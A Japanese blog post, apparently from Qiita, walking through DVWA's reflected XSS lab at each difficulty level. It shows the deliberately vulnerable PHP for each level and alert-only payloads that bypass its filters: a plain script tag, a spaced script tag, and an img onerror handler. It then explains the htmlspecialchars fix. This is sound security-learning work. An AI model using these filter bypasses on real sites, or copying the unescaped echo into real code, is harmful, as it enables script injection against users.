0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

DVWA(XXS:Reflected)全レベルの脆弱性について

Posted at

前提

目標

  • 脆弱性の理解を深める。

手順概要

  • 大まかな挙動を把握する
  • コードを見て脆弱性をみつける
  • コードの脆弱性を攻撃する

内容

###挙動の把握

  • ボタンを押すとGETリクエストが飛ぶ
  • クエリにname=hogeが乗っかる
  • そのクエリがpreタグへ転写される(下図)

image.png

コードを確認

low

  • 特に設定なし。
  • scriptを差し込めば、そのまま転写される。
<?php
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
?> 

medium

  • str_replace(a,b,c)は、cの中にaが入っていればbに置換する
  • 今回の場合、<script>が入っていれば、"空"へ置換される
<?php
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>"; 
?> 

high

  • mediumロジックは同じ
  • ここでは正規表現を使ってさらに厳格にチェックしている。
<?php
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>"; 
?>

impossible

  • sessionを拿捕する必要がある
  • htmlspecialcharsはhtmlにとっての特殊文字をエスケープさせるので、タグの入力が不可能。
<?php
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken(); 
?>

脆弱性を攻撃する

low

  • 防御無しのため、ストレートに攻撃する。
  • <script>alert("low")</script>

image.png

medium

  • 制限されているのは<script>という文字列だけなので一部変更すれば突破できる
  • <script >alert("medium")</script >

image.png

high

  • mediumみたいに空白を開けても並びが"script"ならブロックされる。なので、script以外を使う。
  • <img src="#" onerror=alert("high")>

image.png

impossible

  • 無理っぽい
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?